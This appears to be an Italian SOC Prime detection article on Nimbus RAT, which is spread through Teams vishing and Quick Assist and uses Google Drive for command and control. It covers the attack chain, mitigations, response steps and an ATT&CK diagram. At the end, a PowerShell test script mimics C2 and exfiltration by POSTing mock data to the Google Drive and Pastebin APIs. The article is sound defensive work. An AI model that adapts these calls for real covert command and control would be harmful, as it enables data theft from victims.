SOC Prime Bias: Medio

05 Jun 2026 15:31 UTC

Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive

Author Photo
SOC Prime Team linkedin icon Segui
Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Gli attori delle minacce hanno utilizzato il phishing vocale di Microsoft Teams insieme a Quick Assist per distribuire un trojan di accesso remoto basato su Java noto come Nimbus RAT. Il malware si affida a Google Drive e Google Sheets come suoi canali di command-and-control e include il proprio runtime OpenJDK integrato. Per il furto di credenziali, utilizza un falso prompt di sicurezza di Windows o l’API CredUI nativa per catturare i segreti dell’utente.

Indagine

Il Threat Response Unit di eSentire ha ricostruito l’intera catena di intrusione utilizzando i log del flusso di posta, la telemetria degli endpoint e l’analisi statica del malware Java. La campagna ha combinato il bombardamento di email, una chiamata di vishing basata su Teams, supporto remoto Quick Assist, un foglio d’istruzioni hostato su Pastebin e un tenant SharePoint compromesso usato per distribuire il payload.

Mitigazione

Le difese consigliate includono il disabilitare la messaggistica esterna di Teams proveniente da tenant sconosciuti, bloccare Quick Assist dove non è richiesto, allertare su picchi di attività di bombardamento di email, monitorare javaw.exe esecuzione da posizioni inusuali e rilevare chiamate API di Google Drive sospette iniziate da processi inattesi.

Risposta

Se viene rilevata un’attività di Nimbus RAT, isolare il sistema interessato, terminare tutti i javaw.exe processi correlati, rimuovere la C:ProgramDataInboxCorePro directory e qualsiasi scorciatoia di avvio associata, e considerare un’immagine completa del sistema. Rivedere anche i log di audit di Google Workspace per identificare eventuali concessioni non autorizzate delle applicazioni di Google Drive.

graph TB %% Definizione classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Nodi – Azioni action_phishing[“<b>Azione</b> – <b>T1566.003 Phishing: Spearphishing via Servizio</b><br/>Campagna di email bombing invia messaggi di conferma iscrizione che preparano una successiva chiamata di vishing su Microsoft Teams”] class action_phishing action action_trusted_rel[“<b>Azione</b> – <b>T1199 Relazione di Fiducia</b><br/>L’attaccante crea un tenant Microsoft 365 usa e getta o compromette un tenant legittimo per inviare messaggi Teams esterni apparentemente affidabili”] class action_trusted_rel action action_user_exec_file[“<b>Azione</b> – <b>T1204.002 Esecuzione Utente: File Malevolo</b><br/>La vittima viene istruita via Pastebin a scaricare uno ZIP da SharePoint compromesso ed eseguire un file JAR tramite javaw.exe”] class action_user_exec_file action action_user_exec_copy[“<b>Azione</b> – <b>T1204.004 Esecuzione Utente: Copia e Incolla Malevolo</b><br/>L’attaccante inserisce l’URL di Pastebin nella chat Teams inducendo l’utente a visitare il sito”] class action_user_exec_copy action action_persistence[“<b>Azione</b> – <b>T1547.001 Esecuzione Automatica all’Avvio/Login</b><br/>Persistenza ottenuta tramite importazione di file .reg e collegamento nella cartella Startup per avviare il RAT Java”] class action_persistence action action_credential_harvest[“<b>Azione</b> – <b>T1056.002 Cattura Input: Interfaccia Grafica</b><br/>Nimbus RAT mostra un falso dialogo Java Swing e il prompt CredUI di Windows per rubare credenziali”] class action_credential_harvest action action_c2[“<b>Azione</b> – <b>T1102.002 Servizio Web: Comunicazione Bidirezionale</b><br/>Command and Control tramite Google Drive usando account di servizio o OAuth2 con file di polling cifrati”] class action_c2 action action_exfil[“<b>Azione</b> – <b>T1567.002 Esfiltrazione via Servizio Web</b><br/>Dati raccolti come screenshot e file vengono caricati nella stessa cartella Google Drive usata per il C2”] class action_exfil action action_network_disc[“<b>Azione</b> – <b>T1016 Scoperta Configurazione di Rete</b><br/>Il RAT esegue comandi come ipconfig /all per raccogliere informazioni di rete”] class action_network_disc action %% Tool / Malware / Processi / File tool_email_bomb[“<b>Strumento</b> – Nome: script email bombing”] class tool_email_bomb tool tool_teams[“<b>Strumento</b> – Nome: Microsoft Teams (vishing)”] class tool_teams tool tool_sharepoint[“<b>Strumento</b> – Nome: sito SharePoint compromesso”] class tool_sharepoint tool malware_nimbus[“<b>Malware</b> – Nome: Nimbus RAT (Java)”] class malware_nimbus malware file_jar[“<b>File</b> – Nome: InboxCorePro.jar (payload Java)”] class file_jar data process_javaw[“<b>Processo</b> – Nome: javaw.exe (esecuzione JAR)”] class process_javaw process file_reg[“<b>File</b> – Nome: importazione registro .reg”] class file_reg data file_startup[“<b>File</b> – Nome: collegamento nella cartella Startup”] class file_startup data service_gdrive[“<b>Servizio</b> – Nome: Google Drive (C2 ed esfiltrazione)”] class service_gdrive data process_ipconfig[“<b>Processo</b> – Comando: ipconfig /all”] class process_ipconfig process %% Connessioni action_phishing –>|usa| tool_email_bomb action_phishing –>|porta_a| action_trusted_rel action_trusted_rel –>|usa| tool_teams action_trusted_rel –>|consegna| action_user_exec_copy action_user_exec_copy –>|fornisce_link_a| action_user_exec_file action_user_exec_file –>|scarica_da| tool_sharepoint action_user_exec_file –>|esegue| file_jar file_jar –>|eseguito_da| process_javaw process_javaw –>|avvia| malware_nimbus malware_nimbus –>|crea| action_persistence action_persistence –>|importa| file_reg action_persistence –>|posiziona| file_startup malware_nimbus –>|raccoglie| action_credential_harvest malware_nimbus –>|comunica_con| service_gdrive service_gdrive –>|supporta| action_c2 service_gdrive –>|supporta| action_exfil malware_nimbus –>|esegue| action_network_disc action_network_disc –>|esegue_comando| process_ipconfig

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Controllo Preparatorio di Telemetria & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrazione e Comandi dell’Attacco:
    L’attore delle minacce ha già compromesso l’endpoint con il binario di Nimbus RAT. Per stabilire un canale C2 nascosto, il RAT emette due richieste in uscita HTTP POST:

    1. Chiamata API di Google Drive – carica un piccolo payload JSON su https://www.googleapis.com/drive/v3/files?uploadType=media, imitando il comportamento di “download-payload” del RAT.
    2. Pastebin Paste – invia una stringa di comando codificata base-64 a https://pastebin.com/api/api_post.php utilizzando la chiave API pubblica.

    Entrambe le richieste sono eseguite tramite Invoke-WebRequest di PowerShell per assicurare che i log del firewall contengano il campo dominio (googleapis.com and pastebin.com). L’attaccante esegue i comandi nel contesto dell’utente compromesso per confondere con l’attività normale.

  • Script di Test di Regressione:

    # --------------------------------------------------------------
    # Simulazione C2 di Nimbus RAT – attiva la regola Sigma su corrispondenza del dominio
    # --------------------------------------------------------------
    
    # 1. Caricamento fittizio API di Google Drive (nessuna autenticazione – concentrato sulla telemetria del dominio)
    $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json
    $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media"
    
    try {
        Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload `
            -ContentType "application/json" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Caricato mock su Google Drive API"
    } catch {
        Write-Warning "Richiesta a Google Drive fallita (atteso in sandbox): $_"
    }
    
    # 2. Post pubblico API Pastebin (richiede una chiave sviluppatore – usando un segnaposto)
    $pastebinKey   = "YOUR_PUBLIC_API_KEY"    # <-- sostituire con una chiave valida per test reale
    $pastebinText  = "echo 'Comando simulato da C2'" 
    $pastebinUri   = "https://pastebin.com/api/api_post.php"
    $pastebinBody  = @{
        api_dev_key = $pastebinKey
        api_option  = "paste"
        api_paste_code = $pastebinText
        api_paste_private = "1"
    }
    
    try {
        Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody `
            -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop
        Write-Host "[+] Postato comando mock a Pastebin"
    } catch {
        Write-Warning "Richiesta a Pastebin fallita (atteso in sandbox): $_"
    }
    
    # --------------------------------------------------------------
    # Fine simulazione
    # --------------------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei o variabili utilizzati durante la simulazione
    Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue
    Write-Host "[*] Pulizia completata."